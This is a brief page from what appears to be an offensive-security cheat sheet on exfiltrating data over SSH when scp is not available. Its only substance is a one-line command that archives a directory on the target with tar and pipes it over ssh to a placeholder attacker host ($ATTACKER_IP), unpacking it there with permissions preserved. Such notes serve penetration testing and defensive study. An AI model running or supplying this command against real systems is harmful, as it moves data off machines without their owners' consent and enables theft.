killchain-compendium/Exfiltration/SSH.md

SSH Exfiltration

• Given: without scp

Compress

• Archive the data on target, send it to the attacker. Unpack including preserved permissions

tar cf - <directory> | ssh user@$ATTACKER_IP "cd /tmp/; tar xpf -"